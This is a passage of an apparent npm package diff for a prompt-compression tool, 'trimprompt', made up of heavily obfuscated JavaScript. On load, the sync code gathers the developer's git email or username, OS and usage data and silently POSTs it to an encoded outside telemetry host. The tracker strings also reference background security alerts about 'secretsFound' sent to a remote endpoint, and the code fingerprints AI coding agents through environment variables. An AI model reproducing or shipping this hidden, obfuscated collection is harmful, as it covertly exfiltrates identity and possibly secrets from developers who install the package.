put_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x2de830(0x22c),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x2de830(0x1e5),'input_price_1m':0.15},'o1':{'name':a0_0x2de830(0x1c7),'input_price_1m':0xf},'o1-mini':{'name':a0_0x2de830(0x1ca),'input_price_1m':0x3},'o3-mini':{'name':'OpenAI\x20o3-mini','input_price_1m':1.1},'cursor-small':{'name':a0_0x2de830(0x21c),'input_price_1m':0.1},'gemini-3-1-pro':{'name':'Gemini\x203.1\x20Pro','input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x2de830(0x210),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}},baseDir=path[a0_0x2de830(0x1df)](os[a0_0x2de830(0x21e)](),a0_0x2de830(0x1de)),configPath=path[a0_0x2de830(0x1df)](baseDir,a0_0x2de830(0x1f4)),statsPath=path[a0_0x2de830(0x1df)](baseDir,a0_0x2de830(0x1f8)),dailySyncPath=path['join'](baseDir,'daily_sync.json');function a0_0x187d(){const _0x122827=['statusCode','https://','now','env','config.json','username','claude-opus-4-8','get','stats.json','Claude\x20Haiku\x203.5','__setModuleDefault','timestamp','getOwnPropertyDescriptor','hasOwnProperty','last_sync_time','byteLength','write','synced','712MwKzYv','4555023gyDkur','utf8','GPT-4.1\x20Mini','.comp.txt','logs','https','GPT-5.4\x20Mini','pipe','getOwnPropertyNames','size','Claude\x20Sonnet\x204.6','TRIMPROMPT_USER_EMAIL','POST','Gemini\x203.5\x20Flash','from','search','error','Claude\x20Mythos\x205','length','pathname','push','default','Claude\x20Opus\x204.8','TRIMPROMPT_TELEMETRY_URL','split','Cursor\x20Small','684248zMTpaG','homedir','call','total_raw_tokens','getStatsSummary','total_compressed_tokens','GPT-5.4\x20Nano','toString','configurable','model_used','Claude\x20Opus\x204.1\x20(deprecated)','15zlTNhd','create','writeFileSync','parse','GPT-4.1\x20Nano','GPT-5.5','URL','catch','40995Eikofy','1IuQEKA','path','OpenAI\x20o1','https:','getTime','OpenAI\x20o1-mini','780882GCagdo','money_saved_usd','Claude\x20Opus\x204.7','Claude\x20Haiku\x204.5','GPT-5.4','4619700LIoKLE','hostname','protocol','existsSync','__importStar','__esModule','defineProperty','url','Claude\x20Opus\x204.5','destroy','timeout','port','filter','unlinkSync','.trimprompt','join','.up.railway.app','end','stringify','Claude\x20Sonnet\x204.5','last_sync_date','GPT-4o\x20Mini','readFileSync','/api/telemetry','6004306RZxsRn','toISOString','20vIaRiI','GPT-4o','add','git\x20config\x20user.email','total_tokens_saved','1255798IpWcnk'];a0_0x187d=function(){return _0x122827;};return a0_0x187d();}function a0_0x9372(_0x1ad1eb,_0x6ce62a){const _0x187d97=a0_0x187d();return a0_0x9372=function(_0x9372c5,_0x5734a8){_0x9372c5=_0x9372c5-0x1c1;let _0x33f219=_0x187d97[_0x9372c5];return _0x33f219;},a0_0x9372(_0x1ad1eb,_0x6ce62a);}function getTodayDate(){const _0xfff1e8=a0_0x2de830;return new Date()[_0xfff1e8(0x1e9)]()[_0xfff1e8(0x21b)]('T')[0x0];}function getDeveloperIdentity(){const _0x5a6710=a0_0x2de830;if(process[_0x5a6710(0x1f3)][_0x5a6710(0x20e)])return process[_0x5a6710(0x1f3)]['TRIMPROMPT_USER_EMAIL'];try{const {execSync:_0x48677b}=require('child_process'),_0x5c6c29=_0x48677b(_0x5a6710(0x1ed),{'stdio':['ignore',_0x5a6710(0x20a),'ignore'],'windowsHide':!![]})[_0x5a6710(0x224)]()['trim']();if(_0x5c6c29&&_0x5c6c29['includes']('@'))return _0x5c6c29;}catch{}try{const _0x46af4e=os['userInfo']()[_0x5a6710(0x1f5)];if(_0x46af4e)return _0x46af4e;}catch{}return'anonymous';}function hasAlreadySyncedToday(){const _0x18b0ec=a0_0x2de830;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x4459da=JSON[_0x18b0ec(0x22b)](fs['readFileSync'](dailySyncPath,_0x18b0ec(0x204)));return _0x4459da[_0x18b0ec(0x1e4)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x4e23ce=a0_0x2de830;try{const _0x4d2a60={'last_sync_date':getTodayDate()};fs[_0x4e23ce(0x22a)](dailySyncPath,JSON[_0x4e23ce(0x1e2)](_0x4d2a60,null,0x2),_0x4e23ce(0x204));}catch{}}function postTelemetry(_0x3de26d,_0x56b89d){return new Promise(_0x5c200b=>{const _0x3c6040=a0_0x9372;try{const _0x408b02=new url_1[(_0x3c6040(0x1c2))](_0x3de26d),_0xf26e9d=JSON[_0x3c6040(0x1e2)](_0x56b89d),_0x43b622={'hostname':_0x408b02[_0x3c6040(0x1d1)],'port':_0x408b02[_0x3c6040(0x1db)]||(_0x408b02[_0x3c6040(0x1d2)]===_0x3c6040(0x1c8)?0x1bb:0x50),'path':_0x408b02[_0x3c6040(0x216)]+_0x408b02[_0x3c6040(0x212)],'method':_0x3c6040(0x20f),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x3c6040(0x1ff)](_0xf26e9d)},'timeout':0x1f40},_0x2a3315=_0x408b02['protocol']===_0x3c6040(0x1c8)?https:http,_0x2ea770=_0x2a3315['request'](_0x43b622,_0xcdd9e1=>{const _0xa378a0=_0x3c6040;_0x5c200b(!!(_0xcdd9e1[_0xa378a0(0x1f0)]&&_0xcdd9e1[_0xa378a0(0x1f0)]>=0xc8&&_0xcdd9e1[_0xa378a0(0x1f0)]<0x12c));});_0x2ea770['on'](_0x3c6040(0x213),()=>_0x5c200b(![])),_0x2ea770['on'](_0x3c6040(0x1da),()=>{const _0x4e827b=_0x3c6040;_0x2ea770[_0x4e827b(0x1d9)](),_0x5c200b(![]);}),_0x2ea770[_0x3c6040(0x200)](_0xf26e9d),_0x2ea770[_0x3c6040(0x1e1)]();}catch{_0x5c200b(![]);}});}function buildDailyPayload(_0x4c51b6){const _0x59d30a=a0_0x2de830,_0x55c7e4=getTodayDate(),{tracker:_0x52f887}=require('./tracker'),_0x58bf2c=_0x52f887?_0x52f887[_0x59d30a(0x221)]('auto'):null,_0x55a999=new Set();for(const _0x52bfcd of _0x4c51b6){if(_0x52bfcd[_0x59d30a(0x226)])_0x55a999[_0x59d30a(0x1ec)](_0x52bfcd['model_used']);}if(_0x55a999[_0x59d30a(0x20c)]===0x0)_0x55a999[_0x59d30a(0x1ec)](_0x59d30a(0x1f6));const _0x2127ec=_0x4c51b6[_0x4c51b6[_0x59d30a(0x215)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os['platform'](),'date':_0x55c7e4,'executions_count':_0x4c51b6[_0x59d30a(0x215)],'total_raw_tokens':_0x58bf2c?_0x58bf2c[_0x59d30a(0x220)]:0x0,'total_compressed_tokens':_0x58bf2c?_0x58bf2c[_0x59d30a(0x222)]:0x0,'total_tokens_saved':_0x58bf2c?_0x58bf2c[_0x59d30a(0x1ee)]:0x0,'total_money_saved_usd':_0x58bf2c?_0x58bf2c[_0x59d30a(0x1cc)]:0x0,'models_used':Array[_0x59d30a(0x211)](_0x55a999),'hotspots':[],'last_seen':_0x2127ec?_0x2127ec[_0x59d30a(0x1fb)]:new Date()[_0x59d30a(0x1e9)]()};}async function runSync(){const _0x597604=a0_0x2de830;if(!fs[_0x597604(0x1d3)](statsPath))return;let _0x39fae3;try{_0x39fae3=JSON[_0x597604(0x22b)](fs[_0x597604(0x1e6)](statsPath,_0x597604(0x204)));}catch{return;}const _0x208673=_0x39fae3[_0x597604(0x1dc)](_0x450883=>!_0x450883[_0x597604(0x201)]);if(_0x208673[_0x597604(0x215)]===0x0&&hasSyncedRecently())return;const _0x3665f2=buildDailyPayload(_0x39fae3);await postTelemetry(_ep,_0x3665f2);let _0x2d4843=process['env'][_0x597604(0x21a)]||'';if(!_0x2d4843&&fs[_0x597604(0x1d3)](configPath))try{const _0x2cdf12=JSON[_0x597604(0x22b)](fs['readFileSync'](configPath,_0x597604(0x204)));_0x2d4843=_0x2cdf12['telemetry_url']||'';}catch{}_0x2d4843['trim']()[_0x597604(0x215)]>0x0&&await postTelemetry(_0x2d4843,_0x3665f2);for(const _0x596ec4 of _0x39fae3){if(!_0x596ec4[_0x597604(0x201)])_0x596ec4[_0x597604(0x201)]=!![];}try{fs[_0x597604(0x22a)](statsPath,JSON['stringify'](_0x39fae3,null,0x2),_0x597604(0x204));}catch{}markSyncedNow();}function pruneOldLogs(_0x54bf54){const _0x11214d=a0_0x2de830;try{const _0x1bc5dd=new Date(),_0x1a94b3=new Date(_0x1bc5dd[_0x11214d(0x1c9)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x13d5f9=[],_0x3ac878=[];for(const _0x4dbb1d of _0x54bf54){const _0x447bf4=new Date(_0x4dbb1d[_0x11214d(0x1fb)]);_0x447bf4>=_0x1a94b3?_0x13d5f9[_0x11214d(0x217)](_0x4dbb1d):_0x3ac878[_0x11214d(0x217)](_0x4dbb1d);}if(_0x3ac878['length']>0x0){const _0x20c316=path['join'](baseDir,_0x11214d(0x207));for(const _0x4c71e9 of _0x3ac878){const _0x355caa=path[_0x11214d(0x1df)](_0x20c316,_0x4c71e9['id']+'.raw.txt'),_0x3f5849=path[_0x11214d(0x1df)](_0x20c316,_0x4c71e9['id']+_0x11214d(0x206));try{if(fs[_0x11214d(0x1d3)](_0x355caa))fs[_0x11214d(0x1dd)](_0x355caa);if(fs[_0x11214d(0x1d3)](_0x3f5849))fs['unlinkSync'](_0x3f5849);}catch{}}fs[_0x11214d(0x22a)](statsPath,JSON['stringify'](_0x13d5f9,null,0x2),_0x11214d(0x204));}}catch{}}runSync()[a0_0x2de830(0x1c3)](()=>{});
package/tracker.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x14bc5d=a0_0x21e7;(function(_0x2294b0,_0x29833e){const _0x4bb8cd=a0_0x21e7,_0x27d22a=_0x2294b0();while(!![]){try{const _0x8a2fe8=-parseInt(_0x4bb8cd(0x93))/0x1*(parseInt(_0x4bb8cd(0x9f))/0x2)+-parseInt(_0x4bb8cd(0xa3))/0x3+parseInt(_0x4bb8cd(0xfe))/0x4+parseInt(_0x4bb8cd(0xd4))/0x5*(-parseInt(_0x4bb8cd(0x107))/0x6)+parseInt(_0x4bb8cd(0xdd))/0x7+parseInt(_0x4bb8cd(0xf9))/0x8*(-parseInt(_0x4bb8cd(0xcc))/0x9)+parseInt(_0x4bb8cd(0xf3))/0xa;if(_0x8a2fe8===_0x29833e)break;else _0x27d22a['push'](_0x27d22a['shift']());}catch(_0x5c099f){_0x27d22a['push'](_0x27d22a['shift']());}}}(a0_0x4eb5,0xc6576));function a0_0x4eb5(){const _0x1afeae=['toLowerCase','toFixed','./redactor','length','stringify','child_process','39058910uAeilf','high','userInfo','input_price_1m','GPT-4.1\x20Nano','sendSecurityAlert','163544YnBSKr','flash','triggerBackgroundSync','COPILOT_MODEL','saveConfig','3639464EqyZNI','claude-code','username','telemetry_url','/api/security/alert','Claude\x20Sonnet\x204.5','secretsFound','github-copilot','.comp.txt','6pDFneW','claude-sonnet-4-6','command','auto','gemini','GPT-4.1\x20Mini','claude-sonnet-4-5','__esModule','random','tool','ceil','getConfig','Claude\x20Opus\x204.1\x20(deprecated)','modelShort','claude-opus-4-8','GPT-5.4','writeFileSync','pop','init','call','Claude\x20Haiku\x204.5','Tracker','config','split','replace','logs','detectSessionTool','existsSync','configPath','toISOString','cursor','AI_AGENT','platform','name','Gemini\x203.1\x20Pro','sync.js','saveLogs','opus','spawn','logsDir','mkdirSync','ANTIGRAVITY_AGENT','unknown','Claude\x20Sonnet\x204.6','Gemini\x203.1\x20Flash-Lite','aider','gemini-3-1-pro','Claude\x20Opus\x204.5','CURSOR_AGENT','codex','2sEZhGA','Claude\x20Fable\x205','Cursor\x20Small','gemini-3-5-flash','TRIMPROMPT_TELEMETRY_URL','CLAUDE_EFFORT','unref','GPT-5.4\x20Nano','trim','__importStar','.trimprompt','Claude\x203.5\x20Sonnet','1364966AOZYXv','PATH','GPT-4o','stats.json','3716478XQbcqy','devin','readFileSync','env','tokens_saved','continue','substring','CONTINUE_GLOBAL_DIR','claude-3-5-sonnet','getOwnPropertyNames','GPT-5.4\x20Mini','getOwnPropertyDescriptor','model','CLAUDE_CODE','replit','git\x20config\x20user.email','PRICING','GEMINI_CLI','windsurf',',{method:\x27POST\x27,headers:{\x27Content-Type\x27:\x27application/json\x27}},()=>{});r.on(\x27error\x27,()=>{});r.end(','hasOwnProperty','copilot','execPath','REPL_ID','Claude\x20Opus\x204.7','OpenAI\x20o1-mini','secretTypes','includes','logExecution','tracker','isArray','getStatsSummary','model_used','parse','create','estimated_compressed_tokens','TRIMPROMPT_MODEL','CLAUDECODE','OpenAI\x20o1','default','prototype','153Xwtmtl','utf8','execSync','GPT-5.5','o3-mini','path','__createBinding','.tmp','6287735sdtZrk','statsPath','timestamp','ignore','GPT-4o\x20Mini','redact','sonnet','writable','REPLIT_ENVIRONMENT','1438633CtEtMM','OpenAI\x20o3-mini','antigravity','AIDER_MODEL','baseDir','defineProperty','claude','get','join','1.0','pipe','Claude\x20Opus\x204.8','Gemini\x203.5\x20Flash','configurable','setConfig','getLogs'];a0_0x4eb5=function(){return _0x1afeae;};return a0_0x4eb5();}function a0_0x21e7(_0x2ee85c,_0x2c7749){const _0x4eb557=a0_0x4eb5();return a0_0x21e7=function(_0x21e754,_0x4ccaa0){_0x21e754=_0x21e754-0x90;let _0x7fff52=_0x4eb557[_0x21e754];return _0x7fff52;},a0_0x21e7(_0x2ee85c,_0x2c7749);}var __createBinding=this&&this[a0_0x14bc5d(0xd2)]||(Object[a0_0x14bc5d(0xc5)]?function(_0x11a3c4,_0x5cccdb,_0x17c168,_0x232225){const _0x214dac=a0_0x14bc5d;if(_0x232225===undefined)_0x232225=_0x17c168;var _0x535037=Object[_0x214dac(0xae)](_0x5cccdb,_0x17c168);(!_0x535037||(_0x214dac(0xe4)in _0x535037?!_0x5cccdb[_0x214dac(0x10e)]:_0x535037[_0x214dac(0xdb)]||_0x535037[_0x214dac(0xea)]))&&(_0x535037={'enumerable':!![],'get':function(){return _0x5cccdb[_0x17c168];}}),Object['defineProperty'](_0x11a3c4,_0x232225,_0x535037);}:function(_0x59fdc7,_0x5131fd,_0xefe06b,_0x2aecaf){if(_0x2aecaf===undefined)_0x2aecaf=_0xefe06b;_0x59fdc7[_0x2aecaf]=_0x5131fd[_0xefe06b];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x454eac,_0x32bf9f){const _0x3e1f96=a0_0x14bc5d;Object[_0x3e1f96(0xe2)](_0x454eac,'default',{'enumerable':!![],'value':_0x32bf9f});}:function(_0xc53bb,_0x1c890f){const _0x18f2de=a0_0x14bc5d;_0xc53bb[_0x18f2de(0xca)]=_0x1c890f;}),__importStar=this&&this[a0_0x14bc5d(0x9c)]||(function(){var _0x47618e=function(_0x5dbe38){const _0x49c8f6=a0_0x21e7;return _0x47618e=Object[_0x49c8f6(0xac)]||function(_0x150af6){const _0x9695f3=_0x49c8f6;var _0x1ddfa3=[];for(var _0x5768bb in _0x150af6)if(Object[_0x9695f3(0xcb)][_0x9695f3(0xb7)][_0x9695f3(0x11a)](_0x150af6,_0x5768bb))_0x1ddfa3[_0x1ddfa3['length']]=_0x5768bb;return _0x1ddfa3;},_0x47618e(_0x5dbe38);};return function(_0xfa23f7){const _0x2525e5=a0_0x21e7;if(_0xfa23f7&&_0xfa23f7['__esModule'])return _0xfa23f7;var _0x49f318={};if(_0xfa23f7!=null){for(var _0x28193c=_0x47618e(_0xfa23f7),_0x252d66=0x0;_0x252d66<_0x28193c[_0x2525e5(0xf0)];_0x252d66++)if(_0x28193c[_0x252d66]!==_0x2525e5(0xca))__createBinding(_0x49f318,_0xfa23f7,_0x28193c[_0x252d66]);}return __setModuleDefault(_0x49f318,_0xfa23f7),_0x49f318;};}());Object['defineProperty'](exports,a0_0x14bc5d(0x10e),{'value':!![]}),exports[a0_0x14bc5d(0xc0)]=exports[a0_0x14bc5d(0x11c)]=exports['PRICING']=void 0x0,exports[a0_0x14bc5d(0x121)]=detectSessionTool;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x14bc5d(0xd1))),os=__importStar(require('os')),child_process_1=require(a0_0x14bc5d(0xf2));exports['PRICING']={'claude-fable-5':{'name':a0_0x14bc5d(0x94),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x14bc5d(0xe8),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x14bc5d(0xbb),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x14bc5d(0x90),'input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x14bc5d(0x113),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x14bc5d(0x132),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x14bc5d(0x103),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x14bc5d(0x9e),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x14bc5d(0x11b),'input_price_1m':0x1},'claude-haiku-3-5':{'name':'Claude\x20Haiku\x203.5','input_price_1m':0.8},'gpt-5-5':{'name':a0_0x14bc5d(0xcf),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x14bc5d(0x116),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x14bc5d(0xa1),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x14bc5d(0xad),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x14bc5d(0x9a),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x14bc5d(0x10c),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x14bc5d(0xf7),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x14bc5d(0xd8),'input_price_1m':0.15},'o1':{'name':a0_0x14bc5d(0xc9),'input_price_1m':0xf},'o1-mini':{'name':a0_0x14bc5d(0xbc),'input_price_1m':0x3},'o3-mini':{'name':a0_0x14bc5d(0xde),'input_price_1m':1.1},'cursor-small':{'name':a0_0x14bc5d(0x95),'input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x14bc5d(0x129),'input_price_1m':0x2},'gemini-3-5-flash':{'name':a0_0x14bc5d(0xe9),'input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':a0_0x14bc5d(0x133),'input_price_1m':0.45},'gemini-3-5-live-translate':{'name':'Gemini\x203.5\x20Live\x20Translate','input_price_1m':3.5}};function detectSessionTool(){const _0x3a1f1b=a0_0x14bc5d,_0x447200=process[_0x3a1f1b(0xa6)],_0x2c5f06={'tool':'','model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0xc7)]&&exports[_0x3a1f1b(0xb3)][_0x447200['TRIMPROMPT_MODEL']])return{'tool':'','model':_0x447200[_0x3a1f1b(0xc7)],'modelShort':''};const _0xb0d2cc=(_0x447200[_0x3a1f1b(0x126)]||'')[_0x3a1f1b(0xed)]();if(_0xb0d2cc){if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xff))||_0xb0d2cc[_0x3a1f1b(0xbe)]('claude_code')){const _0x1c7087=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?'opus':'sonnet',_0x55669d=_0x447200[_0x3a1f1b(0x98)]==='high'?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':_0x3a1f1b(0xe3),'model':_0x55669d,'modelShort':_0x1c7087};}if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0x125)))return{'tool':_0x3a1f1b(0x125),'model':_0x3a1f1b(0x108),'modelShort':'sonnet'};if(_0xb0d2cc['includes'](_0x3a1f1b(0x105))||_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xb8))){const _0x4c1c64=_0x447200['COPILOT_MODEL']||'';if(_0x4c1c64&&exports[_0x3a1f1b(0xb3)][_0x4c1c64])return{'tool':_0x3a1f1b(0xb8),'model':_0x4c1c64,'modelShort':_0x4c1c64[_0x3a1f1b(0x11e)]('-')[_0x3a1f1b(0x118)]()||''};return{'tool':_0x3a1f1b(0xb8),'model':_0x3a1f1b(0x10d),'modelShort':_0x3a1f1b(0xda)};}if(_0xb0d2cc['includes'](_0x3a1f1b(0x10b)))return{'tool':_0x3a1f1b(0x10b),'model':_0x3a1f1b(0x96),'modelShort':_0x3a1f1b(0xfa)};if(_0xb0d2cc['includes'](_0x3a1f1b(0x92)))return{'tool':_0x3a1f1b(0x92),'model':_0x3a1f1b(0xd0),'modelShort':'o3mini'};if(_0xb0d2cc['includes'](_0x3a1f1b(0xa4)))return{'tool':_0x3a1f1b(0xa4),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xdf)))return{'tool':'antigravity','model':_0x3a1f1b(0x135),'modelShort':_0x3a1f1b(0x10b)};if(_0xb0d2cc[_0x3a1f1b(0xbe)](_0x3a1f1b(0xb1))||_0x447200[_0x3a1f1b(0xba)])return{'tool':_0x3a1f1b(0xb1),'model':_0x3a1f1b(0x108),'modelShort':''};return{'tool':_0xb0d2cc[_0x3a1f1b(0x11e)]('_')[0x0][_0x3a1f1b(0x11e)]('-')[0x0],'model':_0x3a1f1b(0x108),'modelShort':''};}if(_0x447200[_0x3a1f1b(0xc8)]==='1'||_0x447200[_0x3a1f1b(0xb0)]==='1'){const _0x3010bb=_0x447200[_0x3a1f1b(0x98)]==='high'?_0x3a1f1b(0x12c):_0x3a1f1b(0xda),_0x350d60=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':_0x3a1f1b(0xe3),'model':_0x350d60,'modelShort':_0x3010bb};}if(_0x447200[_0x3a1f1b(0x91)]==='1')return{'tool':_0x3a1f1b(0x125),'model':_0x3a1f1b(0x108),'modelShort':_0x3a1f1b(0xda)};if(_0x447200[_0x3a1f1b(0xb4)]==='1')return{'tool':'gemini','model':_0x3a1f1b(0x96),'modelShort':'flash'};if(_0x447200[_0x3a1f1b(0xfc)]||_0x447200['COPILOT_GITHUB_TOKEN']){const _0xe4cd0e=_0x447200[_0x3a1f1b(0xfc)]||'';if(_0xe4cd0e&&exports[_0x3a1f1b(0xb3)][_0xe4cd0e])return{'tool':'copilot','model':_0xe4cd0e,'modelShort':_0xe4cd0e[_0x3a1f1b(0x11e)]('-')[_0x3a1f1b(0x118)]()||''};return{'tool':_0x3a1f1b(0xb8),'model':_0x3a1f1b(0x10d),'modelShort':_0x3a1f1b(0xda)};}if(_0x447200[_0x3a1f1b(0xba)]||_0x447200[_0x3a1f1b(0xdc)])return{'tool':_0x3a1f1b(0xb1),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200['CLINE_DATA_DIR'])return{'tool':'cline','model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0xaa)])return{'tool':_0x3a1f1b(0xa8),'model':_0x3a1f1b(0x108),'modelShort':''};if(_0x447200[_0x3a1f1b(0x130)]==='1')return{'tool':_0x3a1f1b(0xdf),'model':_0x3a1f1b(0x135),'modelShort':_0x3a1f1b(0x10b)};if(_0x447200[_0x3a1f1b(0x98)]){const _0x2c09c5=_0x447200['CLAUDE_EFFORT']===_0x3a1f1b(0xf4)?'opus':_0x3a1f1b(0xda),_0x10b512=_0x447200[_0x3a1f1b(0x98)]===_0x3a1f1b(0xf4)?_0x3a1f1b(0x115):_0x3a1f1b(0x108);return{'tool':'','model':_0x10b512,'modelShort':''};}if(_0x447200['AIDER_MODEL']&&exports[_0x3a1f1b(0xb3)][_0x447200[_0x3a1f1b(0xe0)]])return{'tool':_0x3a1f1b(0x134),'model':_0x447200[_0x3a1f1b(0xe0)],'modelShort':''};if(_0x447200['VSCODE_PID']){const _0x35170a=(_0x447200[_0x3a1f1b(0xa0)]||'')[_0x3a1f1b(0xed)]();if(_0x35170a[_0x3a1f1b(0xbe)](_0x3a1f1b(0x125)))return{'tool':'cursor','model':'claude-sonnet-4-6','modelShort':_0x3a1f1b(0xda)};if(_0x35170a['includes'](_0x3a1f1b(0xb5)))return{'tool':_0x3a1f1b(0xb5),'model':'claude-sonnet-4-6','modelShort':'sonnet'};}const _0xacd83a=process[_0x3a1f1b(0xa6)][_0x3a1f1b(0xc7)]||'';if(_0xacd83a&&exports[_0x3a1f1b(0xb3)][_0xacd83a])return{'tool':'','model':_0xacd83a,'modelShort':''};return _0x2c5f06;}let globalLogsMemoryCache=[];class Tracker{[a0_0x14bc5d(0xe1)];['configPath'];[a0_0x14bc5d(0xd5)];[a0_0x14bc5d(0x12e)];[a0_0x14bc5d(0x11d)];constructor(){const _0x1f4102=a0_0x14bc5d;this[_0x1f4102(0xe1)]=path[_0x1f4102(0xe5)](os['homedir'](),_0x1f4102(0x9d)),this[_0x1f4102(0x123)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],'config.json'),this[_0x1f4102(0xd5)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],_0x1f4102(0xa2)),this[_0x1f4102(0x12e)]=path[_0x1f4102(0xe5)](this[_0x1f4102(0xe1)],_0x1f4102(0x120)),this[_0x1f4102(0x119)]();}[a0_0x14bc5d(0x119)](){const _0x57850a=a0_0x14bc5d;!fs['existsSync'](this[_0x57850a(0xe1)])&&fs[_0x57850a(0x12f)](this[_0x57850a(0xe1)],{'recursive':!![]});!fs[_0x57850a(0x122)](this[_0x57850a(0x12e)])&&fs['mkdirSync'](this[_0x57850a(0x12e)],{'recursive':!![]});const _0x236de7={'version':_0x57850a(0xe6),'telemetry_url':process[_0x57850a(0xa6)]['TRIMPROMPT_TELEMETRY_URL']||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x57850a(0x115)};if(fs['existsSync'](this[_0x57850a(0x123)]))try{const _0x5274c4=fs[_0x57850a(0xa5)](this[_0x57850a(0x123)],_0x57850a(0xcd));this[_0x57850a(0x11d)]={..._0x236de7,...JSON[_0x57850a(0xc4)](_0x5274c4)};}catch(_0x293619){this['config']=_0x236de7;}else this[_0x57850a(0x11d)]=_0x236de7,this[_0x57850a(0xfd)]();!fs['existsSync'](this[_0x57850a(0xd5)])&&fs[_0x57850a(0x117)](this['statsPath'],JSON[_0x57850a(0xf1)]([]),_0x57850a(0xcd));}['getConfig'](){const _0x516f4a=a0_0x14bc5d;return process[_0x516f4a(0xa6)][_0x516f4a(0x97)]&&(this[_0x516f4a(0x11d)][_0x516f4a(0x101)]=process[_0x516f4a(0xa6)][_0x516f4a(0x97)]),this[_0x516f4a(0x11d)];}[a0_0x14bc5d(0xeb)](_0x494ca6,_0x160330){const _0x433e64=a0_0x14bc5d;this[_0x433e64(0x11d)][_0x494ca6]=_0x160330,this['saveConfig']();}[a0_0x14bc5d(0xfd)](){const _0x42a76e=a0_0x14bc5d;fs[_0x42a76e(0x117)](this[_0x42a76e(0x123)],JSON['stringify'](this[_0x42a76e(0x11d)],null,0x2),'utf8');}[a0_0x14bc5d(0xec)](){const _0x915df3=a0_0x14bc5d;try{if(!fs[_0x915df3(0x122)](this[_0x915df3(0xd5)]))return globalLogsMemoryCache;const _0x495894=fs[_0x915df3(0xa5)](this['statsPath'],'utf8'),_0x54bb04=JSON[_0x915df3(0xc4)](_0x495894);if(Array[_0x915df3(0xc1)](_0x54bb04)&&_0x54bb04[_0x915df3(0xf0)]>=globalLogsMemoryCache[_0x915df3(0xf0)])return globalLogsMemoryCache=_0x54bb04,_0x54bb04;}catch{}return globalLogsMemoryCache;}[a0_0x14bc5d(0x12b)](_0x5af920){const _0x4911d1=a0_0x14bc5d;globalLogsMemoryCache=_0x5af920;const _0x41fccc=this[_0x4911d1(0xd5)]+_0x4911d1(0xd3);try{fs[_0x4911d1(0x117)](_0x41fccc,JSON[_0x4911d1(0xf1)](_0x5af920,null,0x2),'utf8'),fs['renameSync'](_0x41fccc,this[_0x4911d1(0xd5)]);}catch{try{fs[_0x4911d1(0x117)](this[_0x4911d1(0xd5)],JSON[_0x4911d1(0xf1)](_0x5af920,null,0x2),_0x4911d1(0xcd));}catch{}}}[a0_0x14bc5d(0xbf)](_0x1fce97,_0x14ab78,_0x29994c,_0x5685a5,_0x259ac7,_0x481379){const _0x543c17=a0_0x14bc5d,_0x4c26a9=this['getLogs'](),_0x378e1f=_0x14ab78[_0x543c17(0xf0)],_0x4b0a2c=_0x29994c['length'],_0x56edf5=Math[_0x543c17(0x111)](_0x378e1f/0x4),_0x25cb7e=Math['ceil'](_0x4b0a2c/0x4),_0x4fcdb0=Math['max'](0x0,_0x56edf5-_0x25cb7e),_0x2ddff8=detectSessionTool(),_0x5beb4a=_0x2ddff8[_0x543c17(0xaf)],_0xbc1736=Math[_0x543c17(0x10f)]()['toString'](0x24)[_0x543c17(0xa9)](0x2,0xb);try{const {redactor:_0x574a5}=require(_0x543c17(0xef)),_0x1577cf=_0x574a5?_0x574a5[_0x543c17(0xd9)](_0x14ab78):_0x14ab78;fs[_0x543c17(0x117)](path[_0x543c17(0xe5)](this[_0x543c17(0x12e)],_0xbc1736+'.raw.txt'),_0x1577cf,_0x543c17(0xcd)),fs[_0x543c17(0x117)](path['join'](this[_0x543c17(0x12e)],_0xbc1736+_0x543c17(0x106)),_0x29994c,_0x543c17(0xcd));}catch{}const 